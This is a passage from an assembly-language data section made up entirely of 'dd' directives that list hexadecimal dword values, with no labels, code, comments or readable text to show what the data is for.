2DF5807Dh, 6F86C0E9h, 85FC7BAFh, 0D70F473Ch dd 94CE7DFFh, 0D569A93Ch, 0CF14B93Ah, 0BDDD5584h, 7B29354Ch dd 680BA5ACh, 12BB91FAh, 0D583E6E4h, 1B08BF4Bh, 8A6E1BF8h dd 0FD1F00D6h, 0D0DBF8BFh, 0C82EB422h, 0B59949D3h, 86C4EF6h dd 8620B688h, 319E71BCh, 3D0C7FCEh, 0A5844992h, 0AC2601F0h dd 1B8C86B8h, 394BA94Dh, 4A3BDDC7h, 0B6B63496h, 59E4F04h dd 0C70C62A7h, 15CDCC37h, 9C806F0Bh, 0DD035D32h, 0B52793Ch dd 0E8726DB5h, 55F4606Bh, 0FAB1F496h, 0C577B723h, 0C36776E8h dd 0B4CCB569h, 0A9BEF641h, 912230DFh, 274430Dh, 3F09D1C0h dd 0F5C044A5h, 3D1DECE4h, 6612633Fh, 7A1799C6h, 0BE1F63DCh dd 0C14062EAh, 0FB390B6Ch, 621A3366h, 782EE135h, 0A6FF8694h dd 0C64CD4F5h, 6BFD9144h, 136E51C5h, 0D42B1B81h, 7F0675F6h dd 0B302A2F0h, 1AB35FE1h, 889556BAh, 0A53EF34Bh, 763D3C28h dd 0DF03A540h, 0BDF53473h, 0DBF4295h, 9F2D9BFCh, 0FABEC210h dd 0FDEDA498h, 0FC0BCFD2h, 645BB766h, 171080E9h, 0EF09CA54h dd 0C7651B01h, 8FB1B060h, 9F351E7Ch, 726F04CBh, 0DBD0620Ah dd 0E2D11406h, 7B211D34h, 6F50AD48h, 85E6C007h, 5279DDB8h dd 0B3507104h, 840C326Ch, 0E217582Dh, 412C72C3h, 6642089Dh dd 41FB03AAh, 0E65B468h, 4FC4EE4Ch, 9CEA4897h, 7DDA2B9Eh dd 0BE637084h, 0D9B7D1CDh, 0C8E5E1B8h, 0F01A001Ah, 0FF16F3Dh dd 1D8AA74Bh, 0DC8698B8h, 595B0F36h, 4C9A000Ah, 0B597F6D0h dd 36E5087Eh, 7C3E77FCh, 0E73A09E3h, 0D036C107h, 0FB3367D3h dd 0E19D41FBh, 0BF0FAA7Fh, 0DFE66F56h, 4C73A1F3h, 547C23A7h dd 17D9FBB7h, 83D15518h, 1E51C769h, 0C31170B6h, 22C490D1h dd 25AD00CEh, 0C7395166h, 0D48645F3h, 7F0E4963h, 2420ACD3h dd 87279CA4h, 272C5637h, 0C73480FFh, 0D9316908h, 7BD61334h dd 0CDC06F89h, 0D02C7DFEh, 3F3E790Bh, 481A6968h, 6B1428C7h dd 0C69E082Eh, 0D5C946A8h, 0A41E4D3Fh, 8653017Ch, 46CF1FACh dd 0B982752Ch, 0B3BC1915h, 72677741h, 9EF1614Ch, 0C7FD6925h dd 5677BD4Fh, 27670800h, 90C626ABh, 9A67F77Ah, 2A2943E6h dd 21E9B83Ah, 44470059h, 921CCF68h, 28152F9Ch, 0AADD73D9h dd 0BC4A509Eh, 0DCA9B591h, 0FCA0B006h, 181438A2h, 0D8E4562Ah dd 5DFB3DB7h, 78D80570h, 2654EBA0h, 0ACE504FAh, 2EA49FC8h dd 2DA7C5F1h, 3151068Ch, 0BA0906FBh, 0C45CE4B7h, 0C25E796Ch dd 0C02E7B18h, 10A57F86h, 8ADA6481h, 84A5472Dh, 0D225932Ch dd 9C65C761h, 34B949E4h, 0C71A53E0h, 69646B6Ch, 0BAA503FEh dd 0DE4C9864h, 18853D01h, 14207DE0h, 382793FCh, 0FB249098h dd 0A5C4E5E6h, 75065AEEh, 5CE48AF8h, 0E25376Bh, 0C0AE6A1Ah dd 0C16C57C2h, 0EDA47A18h, 0C2C33E4Ah, 0F92E0044h, 0F1209030h dd 39204AACh, 95D717D1h, 4430AB7Eh, 30E5E711h, 4E080057h dd 0B13E926Fh, 7C62516Ch, 0C1A970DFh, 0C380F44Eh, 0B6807AFEh dd 0D34F4FB4h, 0D7729C82h, 6EF0F8CDh, 0B7DF64F1h, 39334E08h dd 0DE433CD9h, 0F4F77A1Ah, 250D6966h, 0C64EFCB4h, 0BD1F44FDh dd 0CA9DD71Eh, 98A1D921h, 8894566h, 923B081Ch, 3730728Ch dd 1B04E667h, 9FC726FDh, 0E63D1EDFh, 7C574160h, 0FFDBBDA6h dd 0DD3A0E76h, 0DFD2257Ch, 0F59D5C38h, 0C76F4983h, 9EF5E562h dd 0D10A0C6Fh, 48A95110h, 0EAEBFF7h, 132B9C61h, 43E45109h dd 438DD39Eh, 2C0E93F8h, 6A857BF0h, 1F075C53h, 0C9CCF7D7h dd 0DD674E29h, 0C43526F9h, 0FDD27185h, 821A80EBh, 0C0617680h dd 6890625Bh, 54700AD3h, 2FE4403Fh, 8F8CA99h, 0A95F026Dh dd 98304577h, 0F91ABF99h, 0C6AE13C0h, 7C14FC3Eh, 43CF07F2h dd 73C946ABh, 0CAB7290Ch, 105B7921h, 0B65BFE61h, 0D7022EB7h dd 3358BB3Bh, 0D2D104A4h, 0FCDB2E6Bh, 4BBC6BD7h, 0C65D0994h dd 4A4CB2E7h, 0B4660AAFh, 75E10418h, 0FE10C3C3h, 0F6D4BDBAh dd 94E9B785h, 17685D10h, 34FAAD68h, 8BE06486h, 38E7D5B0h dd 7B3B75EDh, 0B3C27642h, 78320004h, 0FDD23B5Fh, 492431DCh dd 0BBC17A17h, 3249981h, 109D61E6h, 0B4354C2Eh, 0B5454534h dd 0A8E6EF27h, 0E1BDF489h, 9C14E3A9h, 9E175944h, 38165F18h dd 0EF17A12Ch, 14CBAA98h dd 3CB0B2C4h, 74A3EE54h, 0F9D279D4h, 31A2037Fh, 8D7B589h dd 4C67E382h, 73DB46CCh, 0BC512B4Eh, 2E5850ABh, 0AAEF12BCh dd 6C61319Ch, 91048321h, 25AAE972h, 73A2C269h, 1B256BFFh dd 7DD47DF8h, 0BEAC797Ah, 0C73CB46Ah, 499C262Ah, 0C3D14518h dd 0F4D0D934h, 0ED23BE12h, 8E34B3BEh, 9437D6E5h, 6355FEFDh dd 47D7DB7h, 0F43D1564h, 573920A0h, 124F1DE6h, 906D21ABh dd 97226ACFh, 0BA340C53h, 6058C448h, 0EE9AAFC7h, 0DC204E54h dd 0B610A4FBh, 0C089378Fh, 50B86EA4h, 1C622C33h, 0BB9CFD0Fh dd 652F8BDDh, 350537Dh, 0C19A2B4Fh, 3E3DD9E9h, 305BE62h dd 54CB4E2h, 6035075Eh, 14F2F8FCh, 0B5B1B5Bh, 4BACBEE1h dd 13EAAAA1h, 8753EE2Eh, 16615984h, 0D705B092h, 2C4E68A9h dd 0B49FC12Eh, 538946D0h, 0A8F601F8h, 3AEC1FE4h, 2735C15Eh dd 0D424EF02h, 2CAA68AEh, 8564FD29h, 3D5F7E50h, 0A000753Ch dd 5B95554h, 0F5E8E874h, 66A9ADB7h, 14E83912h, 0B4C8FCCBh dd 7B9B36BAh, 0CEE2DD5Bh, 2D9CC88Bh, 3A56B79Eh, 0EDCBF004h dd 8C9A7DFEh, 14B075D3h, 3CCDC0F7h, 0FC35CC01h, 7159C24Ch dd 2C968A99h, 85460AF6h, 7A35769h, 0AFDFA59Bh, 51AD7E83h dd 228477Fh, 2AA9C3ACh, 30B4E23h, 3D00BD0Ah, 0CEC0B8A7h dd 0B9960C5Dh, 208ECE4Fh, 62A86F33h, 1FB59EFAh, 31E70D24h dd 0AAB885AFh, 39AD73CDh, 19B449C1h, 0FA06B15Eh, 0B77E673Eh dd 0F42D0AF8h, 0AAF0F57Dh, 0C54373C7h, 5136B5E8h, 0B82D0AFAh dd 0CACC525h, 0A59F1834h, 5CD7F31h, 0C60265B7h, 0A3B73D17h dd 3DE40263h, 4FABF064h, 794B4D38h, 3821F56Bh, 0CA86C91Ch dd 4671013Fh, 0B1C47A2Fh, 6A3297CAh, 0BD58CD51h, 0D5C87335h dd 0F6CD0293h, 0F9EC470Dh, 5DCCAAC7h, 7F79C1CCh, 0FD271E67h dd 0F5D45D69h, 5DD7F63Fh, 0B67DAD1Eh, 46227565h, 2755B7B4h dd 7F126356h, 0B68047EEh, 0C52347F8h, 6ACEC5A1h, 1C9E16FEh dd 0F7A006DAh, 7B2C4930h, 86CFA25h, 0D52FD237h, 4206720h dd 0FD6C592Eh, 0CD8B628h, 0FDDFF46Bh, 23CDB363h, 425CB51Fh dd 3F55ADBFh, 64AB8064h, 54A0F563h, 4B9F0B31h, 0F8EFFE1Eh dd 4D9FD8E8h, 0C29F1C1Dh, 7321FB68h, 0E92C80E6h, 2BF11457h dd 0EF73C8Fh, 0B8999FCFh, 0BECD64E1h, 0AC6477CDh, 7B265604h dd 389950CFh, 0B6F864E0h, 1AF864F2h, 3510CD68h, 0B05D75E9h dd 0D735784Eh, 17054931h, 8973502h, 0D8F601CEh, 7B2A5953h dd 0A39A21C8h, 6C28A6B8h, 67E04363h, 4F09605Ch, 5F2E09ABh dd 0E2ABBE09h, 0E0015FC7h, 463624C9h, 2AEFC257h, 9E86AEh dd 0ACB1661Dh, 0D795F6FCh, 0C6056AE8h, 0EA997D22h, 0F366B4BDh dd 0C4E66951h, 0E5610FFFh, 0BB2ED23Fh, 0C40CC9AAh, 0B0496168h dd 0C80B311Dh, 0FF2B555h, 0C5054966h, 1456D4FFh, 0AE7D5BFAh dd 6F3B33Ch, 0C43764D0h, 0CEF1171Bh, 2A7CE82Eh, 0F9F69FDDh dd 1B366458h, 2B1D67F8h, 543E5E37h, 0C42AD30Fh, 9848C183h dd 4D8D225h, 3D70B086h, 9FA0DB54h, 0F594655Ah, 6E23BC1Bh dd 34621179h, 633AA84Dh, 4F614932h, 0A6352E52h, 1F5CB467h dd 57E09FCCh, 2502BD9Ah, 1CAD1E3Dh, 0C2754EC1h, 7DE50210h dd 0FEAFFCE1h, 0C853AB66h, 0B6B66BE4h, 0D506D3A8h, 83AF727h dd 1781F5BAh, 0AB4BA1FCh, 0AEAC0822h, 5B9EAC48h, 0A16208FCh dd 0E07636F6h, 3B0BF904h, 0A635BAEDh, 0FE67AB97h, 153034B0h dd 5036BE84h, 4700F986h, 0AB07DE1Ch, 39BFD1Ch, 7718DE93h dd 0F19164DEh, 0A47B63A5h, 0C1806C8Eh, 7F276708h, 6DB47845h dd 0A85AFD74h, 5CA5EC40h, 6B8C5A80h, 0E5847F43h, 473EDBE8h dd 0EF71EF39h, 4BAF1619h, 7EDD825Eh, 7185EA9Ah, 579FE217h dd 0C434A400h, 0C8FB9D77h, 0BE00175Dh, 965CC531h, 7CF0B579h dd 2B91D46h, 9574DD58h, 31670BD3h, 2F0555CCh, 712A20ACh dd 0B2E41CF6h, 0B504B5BBh, 0FB31DBC4h, 0AD3D1969h, 3E688CA3h dd 6DEB1938h, 0CBF9130Ch, 9F1F8B63h, 87DC8A7Eh, 7535ABD3h dd 0C24C6302h, 6C782155h, 0FF26B4A1h, 6550B904h, 0AB6E0A34h dd 67B43C07h, 0B7B46260h, 372D3705h, 9D0C4055h, 3C9598Eh dd 3E88F54Ch, 0AF8BBE3h, 1782E028h, 51806657h, 0F2AEB5D5h dd 1109585Ah, 0E40CE980h, 0FCF64BCBh, 49E19852h, 9A407DFAh dd 9B6C9904h, 0A6E73B38h, 0D24F71E0h, 97A28CD7h, 48CCF8AEh dd 9F05B4D7h, 6A28F05Eh, 75E4A8C6h, 492C414Ch, 4609F52Ah dd 54623D9Fh, 20309626h, 24ECF8CEh, 0A4CEC08Ah, 5CF75DDEh dd 3F601C3Dh, 0AF31B14Ch, 33580590h, 1840AF4Ah, 36F47704h dd 865B2628h, 101A3E23h, 5E18647Fh, 553E35DDh, 5A2C0247h dd 0BC8D2C97h, 60C06DF1h, 3E29FEDFh, 0C3C133FBh, 0C90CA473h dd 0CE20E61Fh, 0C04B7C51h, 0ED2C43CBh, 7B280EEAh, 5FC8D0FCh dd 0CB2409CFh, 0FE7CB378h, 0D378CD62h, 76744EF5h, 0C4E18650h dd 0D042661Dh, 0F1A776CDh, 0AF878839h, 0B0760AFEh, 0DE3051E3h dd 9219B580h, 28DB0D6Ch, 1F1744Ch, 23BBF68Fh, 257D8296h dd 0E7349755h, 0C954C806h, 661E813Bh, 11E469CEh, 0F7F3C4EFh dd 3EABBDFBh, 70574EE3h, 44296CA0h, 77FBBC2Eh, 79052319h dd 0ED04F055h, 10744335h, 9DEAB4FBh, 9DEDEAF5h, 77EC7E4h dd 92ECA39Ch, 834CC3DCh, 10CC7717h, 0D5E4EBD2h, 0A52E7C90h dd 9C91D4B3h, 0A495D19Bh, 375EAB8Eh, 0EE94FAE4h, 6A4AC7Bh dd 1CD6DBC4h, 2C43CD5Ch, 0A8FCBB23h, 0F6495668h, 0B470B25Bh dd 31E17914h, 730CB225h, 0F86B1524h, 41AB7AF9h, 653B63Dh dd 0ABC81C82h, 66CA3727h, 9BAD55FDh, 0F4D038F0h, 4277FE1Dh dd 0C2AC45E4h, 0C38E473Dh, 4D20A371h, 4F660C34h, 7C1F6486h dd 0F99EA129h, 0F95C86F4h, 28D99DFEh, 0F32EC2E5h, 4EA80CEh dd 35C0051h, 3E40DA00h, 90DCBFADh, 0E47C632h, 0ADF925Ah dd 202C3DBAh, 0A5311DFFh, 0F552EC41h, 0DB849DE4h, 0C91CAD39h dd 0E076D5AFh, 7DA05C7Ch, 0BBABDF7Dh, 479768FCh, 8BDCE3C8h dd 6CE0F574h, 0CA65623Bh, 710956B7h, 7DD8ACDAh, 713891D9h dd 0F9CE4693h, 6E845A10h, 0FBA31DC2h, 6722E8A4h, 3B7F5781h dd 44A46619h, 47143338h, 7C96D5FCh, 0A6A4A7F4h, 0AEF6ADFFh dd 2855BC3Eh, 20FC1DE4h, 0A5A08A50h, 36C0FD1Fh, 998EA82Eh dd 0FF0ECBC4h, 0D9546601h, 8C8B1CE6h, 63E1B712h, 0C7FF597Ah dd 57FBD92Ch, 0D4F91216h, 875ABE30h, 6288113Ch, 0FA1CD42Ch dd 0A01B382Dh, 0D0A708FDh, 4BD945E8h, 7734629Bh, 0B82801F1h dd 0AE142DB5h, 2EB68CD0h, 0A27B072Eh, 6E288895h, 503C7A18h dd 0CFC8E690h, 0D72E3FF0h, 9A243FA3h, 82362864h, 0DCB99AFAh dd 367B211Dh, 62AB23Eh, 0FA02C08Ch, 43D0AA67h, 0AD03956Dh dd 0ED0320ADh, 2FC6D032h, 6738AF27h, 31B4B23Ah, 40ECFCADh dd 8803DE27h, 76357177h, 0E94F83B9h, 3FA290CDh, 0AFDAB000h dd 412B8E84h, 0CEB55697h, 269455C3h, 5039A9D4h, 0BAD9916Bh dd 625AB640h, 988B45h, 0DF33D130h, 0BD8B7418h, 644D4A26h dd 3922892Eh, 656D0B6Fh, 0C7289D9h, 0E2E1AF61h, 0D1CCCC08h dd 7AF7E8Bh, 0E09EB404h, 0AA5B122h, 0E3016536h, 6216CB7h dd 41984500h, 73A875AFh, 8526E1EDh, 0EE77A8F8h, 39758786h dd 2D7E01E7h, 84CF4EB9h, 7F0EF69Bh, 93671483h, 2298615Ah dd 0C57579FFh, 0C44FD8F6h, 6155DDE5h, 57A0659Bh, 0EA851241h dd 4B44A44h, 6246ADC9h, 9AC65442h, 791B29FCh, 9AA3D986h dd 0DA38DB4Ch, 4B4DF1Ch dd 0F866ADC9h, 0AB457541h, 0BADFEC6Fh, 0C5E20653h, 3A64C680h dd 4C2F0CAFh, 7EDAB695h, 0E7122522h, 6DDED83Eh, 0FF18929Fh dd 1A649DCCh, 6843E3CFh, 370139FBh, 0A2F8D67Fh, 0B23409DAh dd 51658B5h, 5F7D50CEh, 0BF76F417h, 4CFEA9ECh, 0AC33CD9Ah dd 5FD71EE2h, 112D1503h, 0A1E700h, 35ABBE5h, 8F35B35Dh dd 0D209F146h, 0AE9A7540h, 7F34702Eh, 0A7F78A28h, 9F09FAFDh dd 0F013344Ch, 0A925717Fh, 0AB1DA3CCh, 181F2702h, 0F88A72C7h dd 0C5037525h, 0AB4F240h, 0D9D97431h, 78AD7DE6h, 0D06EE3C8h dd 0B1E69F3Ah, 0FA63ED27h, 67001108h, 64968194h, 683CE56Ch dd 55837832h, 0E8FAC82Eh, 41B3B91Eh, 0B821ABCEh, 3EF13981h dd 40AF80C9h, 599CA83Eh, 7C8CCCB5h, 83FC580Ch, 7DB4B073h dd 0A99D5D06h, 14F3A7F5h, 39B25F75h, 2CC95DEh, 0DCA0162Ch dd 0DF1159CAh, 0FA286CEFh, 15084EC6h, 0F9097E6Ch, 140A7A6Ah dd 46D512Bh, 0FAE17E61h, 3AC1ACB0h, 0FDE26FE0h, 83AFD9D0h dd 38E8BDC5h, 82EE7A19h, 0F03954BEh, 395F0FE4h, 0C210134h dd 0D98F1DEAh, 9C4AB69Ah, 2286E378h, 445B725h, 0B9EC40CCh dd 0FD309F4Eh, 39FE4F39h, 0DE021F36h, 3BC45A45h, 4D700AC0h dd 3F4DCCC8h, 755E126Eh, 0AEB40AEh, 2B105C3Eh, 3722CEDCh dd 6E2A7485h, 0E9F3AFE1h, 2040785Dh, 2F192FB2h, 71FCFA74h dd 0F9FACC00h, 2B06B899h, 62298D26h, 0EB5C4E1Ch, 0FAD9EF4Bh dd 4049F00h, 0A9CEA984h, 0CE0C66DFh, 37CC751Dh, 0E118C0F9h dd 54ACD5E4h, 0DCD9E51Fh, 0E611333Eh, 3368BF08h, 0E189BBF2h dd 0D4353F6Eh, 43125FFBh, 4AC8F6CCh, 62F86C5Dh, 37F4A7FCh dd 6F10EE8Eh, 0F123C116h, 383A30A2h, 0EECA9592h, 7AEC86A2h dd 696E59A4h, 706F4E3Ah, 0E265A492h, 87374EEAh, 808A8A15h dd 1BD6CE0h, 3736F6A2h, 3B02BD07h, 72A5908h, 0A41637E0h dd 0C4EAD192h, 0E10DD724h, 0AA231CFCh, 2B8D67B2h, 2AD4A1B0h dd 0AD3362CCh, 2262F172h, 5C86B96Bh, 0B1F36D5Eh, 0DCCE38B7h dd 77253300h, 9465AEEBh, 5FD5EEEEh, 9D73E531h, 9C946CB3h dd 2E8DBC68h, 3C9F15C3h, 6DA5222Ch, 4A10236h, 0E8E45C27h dd 0CBD1B66Dh, 24A0F8FEh, 19842F54h, 7801F714h, 11067440h dd 7B349FD6h, 0C5CFDAA4h, 0EF35D591h, 843914D2h, 21824FFFh dd 74351E8Ch, 0E6AA144Fh, 589B81CDh, 654CFCC6h, 1092A96Ch dd 540064Bh, 7909393Eh, 7118E22Ah, 3634752Eh, 0AB80A4A8h dd 5F992439h, 3B259E4h, 2187F92Eh, 890F54Ch, 10F1A5CEh dd 8C0C8B35h, 0BAAE31F0h, 0A5B596CBh, 0D45C9AF8h, 0FDF8B708h dd 9CC43D34h, 3AD1E3FFh, 9606BFE7h, 57E66C90h, 5E497D65h dd 0D78030AEh, 65835567h, 545EAD1Ch, 0E4E68B63h, 0D04953FFh dd 0FAB97406h, 0AB2D42D7h, 0C4E30DC8h, 197B957Bh, 0F22C7A3Ah dd 0C30B88A1h, 0A7E84B2h, 953EBF23h, 0F29A367Ah, 7F2415FCh dd 0C4137924h, 3B1073Ah, 80E8F0E4h, 780CB3B4h, 0E1E4A9Ah dd 51EABF1Bh, 0B1B2D4B0h, 2A4B3245h, 0F40080AFh, 243DF956h dd 3A93B34Ah, 70386760h, 0C53AE9E3h, 455A84F9h, 2F8B59h dd 422907FBh, 7FCCCC30h, 53734Ch, 40F7FEC1h, 1F9C7969h dd 7653070Ah, 0BA98B787h, 0B56565C1h, 0BCB30696h, 6E276A32h dd 794E03BCh, 3988FFEDh, 0DE378BCBh, 7E351B77h, 7CE44E2Ah dd 0D3075138h, 46A21810h, 7CB7FBFDh, 0D2AEA9CDh, 1054C33Dh dd 7C0E1427h, 1FD000FDh, 16B51C52h, 0D0F82353h, 7B41DD6h dd 5EC60AB9h, 8D00C261h, 0B00FBFDCh, 0EB086167h, 5E720A66h dd 0C288B887h, 436F9022h, 4A9C3CAEh, 0D7334AF5h, 0D52CB161h dd 0E5A5BE6Dh, 2FD65B66h, 39B1729Ch, 6B0190FCh, 2B7660FCh dd 0BC4C6922h, 3BA9656Eh, 7845529h, 9F0AB4C4h, 0FE0ABC3h dd 0F86F3091h, 0BF2EBDBDh, 0E4A67920h, 0DE2D297Bh, 18B33878h dd 4D5F5DFEh, 19975EA1h, 0FB267FA1h, 66F3C5E1h, 0BC1926D1h dd 3F2C1D7Eh, 0D7092113h, 0B78B3220h, 0FF77CCCh, 0C077F03Ah dd 0E9EF13A1h, 1094A3EDh, 0C999CD26h, 9D231DE1h, 37E67100h dd 2CB44C64h, 49CF1CB5h, 444C6DB2h, 0E3A8B2C9h, 483FBF28h dd 762178E5h, 382E03C9h, 0C1F4B92Bh, 0AF642ED9h, 0E72B7217h dd 0FDEE1157h, 0CB8311BEh, 0A136F9F1h, 0FC032320h, 7D163C4h dd 0E33B771Bh, 424CAB17h, 0F9D0756Fh, 69A28369h, 5E7DF825h dd 7DD5CAD5h, 4D8D4D08h, 3C9B7A6Ch, 4FCFEE6h, 0F7655816h dd 0B6170DCBh, 7BAECA07h, 0FDBC7981h, 0DDAE694h, 0C58C4F1Dh dd 1BED033Ch, 0BF7FA29h, 0AC0FCEEh, 0F59CC2Ch, 7B2BC767h dd 1D9729F5h, 43DB192h, 0EBCFB620h, 0AB5A3C06h, 0CFF4F891h dd 0A02228Eh, 4F2DBC5h, 28D23D5Ah, 4CAF9D74h, 2A5BE83Ah dd 3809730Eh, 0D8FE4D57h, 74AA6E24h, 46046CD6h, 0F29168E4h dd 2B4ED49h, 43201C2Dh, 45CE9CD4h, 0A78EEA05h, 1CB2A89Fh dd 8B5B0DCBh, 3306852Ch, 680B772Fh, 6DD15326h, 323CF56Ch dd 0CEEB3F6Dh, 5AB0ACCEh, 11ADB5D1h, 0E23D1D80h, 68094EFAh dd 3EF4B6CDh, 0CCB0FCFBh, 24884508h, 578E3784h, 40B1B897h dd 0D81DFD7Dh, 43E6199Ah, 0B9D081FBh, 0D4665869h, 9FF1F7D6h dd 0ADD8FEh, 99F368C7h, 7A820BBCh, 738B7D0Ch, 5F44B5CCh dd 461B5564h, 0D2A1597Ch, 0B6151C72h, 4D4AAC1h, 2E99E334h dd 532664DCh, 0C5B8138Eh, 0E05F6C29h, 9215ADCEh, 0CBC9783Eh dd 0C16AFDC4h, 77A6FBD8h, 9F2175EEh, 34DD5E52h, 8F754964h dd 0B7DDC5CFh, 44C035F6h, 509EF613h, 4DF74569h, 0AB103A73h dd 0E0031655h, 0F23E34D0h, 0C31B1E3Dh, 72C4FAB2h, 0F360ED2Ah dd 0CE854F4Ah, 90347A72h, 3034D988h, 988A1470h, 519D81CDh dd 0B489AF11h, 2A37CB67h, 1CFCAB5Fh, 61CA0752h, 85BA3984h dd 0FC67F02Ah, 0B20638D0h, 0AA5675C6h, 68CC7C4Ch, 0E684A3Dh dd 0D9BE4779h, 3B962375h, 7543974h, 4DB25861h, 0BAA561F4h dd 4E596934h, 5ED05F9Ch, 17C8B63Dh, 0CE1BA1CFh, 586E6F5h dd 8EE471Dh, 2AE8A0F4h, 6F9541C4h, 411079D1h, 6C86692Ah dd 5ED826C3h, 570EF639h, 78320A9Eh, 7D391969h, 5B1A74DEh dd 0B03AFBC4h, 81471598h, 68B59074h, 0A10B34C6h, 0D23B99E8h dd 654067FEh, 5125B92Ch, 9F37B9CEh, 2B5BEB2Dh, 22033D6Fh dd 162E8DC4h, 3D422070h, 4A2F3235h, 750072E1h, 90B2FFE1h dd 24BB3C22h, 0DA995D2Ah, 574D75DCh, 2A468B9Fh, 57F3DD0Ch dd 7E57290Ah, 0DBA9917Bh, 0B7D6585Bh, 74550626h, 3E9F5D7Fh dd 0C35C43E2h, 0CAB22584h, 9DD287CCh, 4F4F3F22h, 0F91F5E2Ch dd 46957704h, 109CB5E1h, 44B30A38h, 9046B4C5h, 7B4DA478h dd 0CC9499A2h, 2A9BA85Bh, 0C5217466h, 9711EFEh, 56B660EBh dd 54B45381h, 8EA912Dh, 34C3109Ah, 1E1657F9h, 4AAA1875h dd 205D907Dh, 0FB3506FFh, 0BEF56EEFh, 54F3F3F0h, 4DB1E528h dd 826CE036h, 9A67B2Fh, 0BE539B86h, 4314B9CAh, 12BFA0FCh dd 28E4A1EDh, 55DCA0CEh, 19AF2963h, 0F806C56Bh, 0DE62531Bh dd 0F60FFB1Eh, 0B9358678h, 0DB4B1CAAh, 7C0EE562h, 56757158h dd 4D7C62h, 0BC3310E3h, 532671CEh, 4DEE791Bh, 3AEBB8BFh dd 0C9175151h, 7CDC000Ah, 78C2AC75h, 0EEFE4FCh, 9049BB53h dd 38E6F0D6h, 6FCB9129h, 16B3D62Fh, 0AB9EB42Bh, 423B5D11h dd 8BD09CEh, 0DDAF8F78h, 58F5B6A4h, 4D3F7E6Bh, 53CDBCFCh dd 642CA168h, 485BAD91h, 0B8F9A1D5h, 0C7FE472Eh, 5BB45D6Bh dd 0DDAF5198h, 0C568C920h dd 0A391B986h, 9C1771A1h, 65AD159Ch, 7A98D9C7h, 0C9AC4615h dd 0B4E49C8Bh, 9D4C004Fh, 4601697Ah, 3DB03064h, 0DEC63413h dd 1EE6705Dh, 0CE15CBBFh, 0DAB39CBAh, 7C8BF719h, 0E021DFAh dd 0AA5C2E75h, 0E3B858CEh, 6B331DC4h, 51F28D53h, 406C88BAh dd 0DADAB7FBh, 9F226C6Ch, 52F49B94h, 2C90340Bh, 0D84C0279h dd 1AB7E499h, 45B20404h, 4BE3B6ABh, 650D7124h, 4A177D6Eh dd 0DB1B9659h, 1E9F3E39h, 5A062287h, 4EC6B975h, 6BAAFE40h dd 794C7DFFh, 1FE16B04h, 4C8917E7h, 4AF60522h, 0CC2CFC31h dd 6AF5F7ECh, 282B073Dh, 0CB3D5FAFh, 180454A1h, 0D42FB942h dd 367D7F48h, 0C8ADE112h, 0B4968FC7h, 9F2E74D2h, 9C7BE2E1h dd 8A7AE2DEh, 0F5FAE11Eh, 0C318FCE0h, 1F16FC45h, 32A2D43Dh dd 51F67F6h, 18FB5D61h, 72F7B63h, 0E308CAF9h, 37D8F220h dd 4F2F7E26h, 983E697Ah, 9F3479F0h, 93B0F6AEh, 0B62F33F9h dd 0D8C12CC0h, 0B81A0706h, 1B17590Bh, 9F297462h, 7D47287Dh dd 93B0387Ch, 0AB42DE3Fh, 50D3BBCAh, 8F347357h, 0F8F6992Ah dd 0EA2AC541h, 1ACFF41h, 0D1D14EC4h, 54C80160h, 0FE4F8B7Bh dd 0DA00C582h, 0C340C755h, 0BEEAA8FFh, 1256D6BAh, 0E26868E4h dd 0D592FDC3h, 0B72C043Fh, 26CA916Ch, 3C04F061h, 38D458FCh dd 18CB3175h, 7DD6843Fh, 0BB33977Fh, 62FA7F39h, 3AACEAD5h dd 0F8D4A745h, 78AB2333h, 708CE4FCh, 74F66452h, 630CB7DAh dd 9AAF6D3Eh, 9DA163ACh, 0DE4EAB36h, 87A2834Eh, 4289DDEh dd 7AD0083Fh, 9AF34DFEh, 34B62C86h, 77245E90h, 0FDD165D4h dd 0EE25BD66h, 0E44C0F8Bh, 12589C95h, 77C91A2Fh, 156290E7h dd 0E225D256h, 0FE2DBCE5h, 0D6EE8F8Ah, 339B846Dh, 404975A5h dd 19892B16h, 0D7F4FCC4h, 0B2AE8FBDh, 0AA36138Ah, 9B00714h dd 0BE98F736h, 0D1C0897Ch, 7F2BAC68h, 68821E14h, 0F972DC76h dd 49771D16h, 3AC3BFA4h, 0A420537Ah, 0A788C103h, 1AB1BFE7h dd 3A5BC1C5h, 0D2A8F4FCh, 761E1568h, 57107B02h, 0A7346CEBh dd 0D8C4F9C4h, 0E2158D18h, 58C679C9h, 0A868F016h, 497C0B73h dd 98FB7803h, 0C282A629h, 84EDCD74h, 0E3F57AE9h, 25B0FFDDh dd 3DF7E144h, 0C18FDDFh, 7DE079DEh, 70947344h, 8E1CE801h dd 4609FF8h, 0D0C7F4E7h, 42037EBEh, 4E1D646h, 3474D256h dd 0A18EF84Fh, 940D0F9h, 494AF73Eh, 0F656705Dh, 6186B6A0h dd 0A438FA20h, 4C307C60h, 0B4AC8F70h, 0D9316166h, 0A65687B9h dd 2529FE0Ah, 4EB77E8h, 2A2B56E0h, 0FAF35164h, 5CE0B220h dd 3957F503h, 996054E0h, 0CBDABE51h, 2F092ED9h, 853680E8h dd 4C08BA5Ch, 0FA687CA5h, 0D785C4C8h, 0BC657127h, 738ED8DAh dd 5DECC07Fh, 0B861BD3Eh, 5B9F8062h, 0ED1850EEh, 0BCE4DE8Ah dd 20B0BF6Ah, 4DA11F31h, 0CCED811h, 0C628A9A2h, 3FB6D484h dd 2CE5BF78h, 9F3574B6h, 9E60F482h, 7B2B59EFh, 37AA0ECFh dd 49AB942h, 7EA2042Eh, 184C7238h, 0C583497Eh, 0D7B01BEDh dd 0B5094BCFh, 9CF75563h, 20A9BF41h, 0F5EFB264h, 3169AD8h dd 70CC67F4h, 0C534ED58h, 0B86B284h, 0DDC743D2h, 75E11929h dd 0E7425Ah, 0DBB639FFh, 0B937411Ch, 356EECF0h, 9CFCBF13h dd 54ABE0F0h, 288FB9B1h, 7DE7A71Eh, 0F83EA5FFh, 476C1DF8h dd 3683FA1Eh, 48A931CFh, 89872E3Dh, 3008E1F9h, 0D258B94Fh dd 734C70E4h, 0D404343Fh, 4989C864h, 303376E7h, 11B02A40h dd 6B3750D1h, 0DA914C2Ah, 0B0F73743h, 69B6D606h, 9CBC2921h dd 47A80CC4h, 0FECFFD65h, 95104A7Fh, 3B21AE81h, 89AF0455h dd 0C434F1B8h, 3AF153AEh, 62A7779Bh, 0D22E1CAEh, 0E9E4B3ADh dd 7827FD12h, 0E230A149h, 0F5379D3Fh, 0B63E1E3Ch, 3E3FEEC4h dd 1F0C86C1h, 4D18CDF9h, 0D8AC6018h, 68B07E59h, 0ACCCF6B6h dd 0BE9F3C3Fh, 0B5F946E1h, 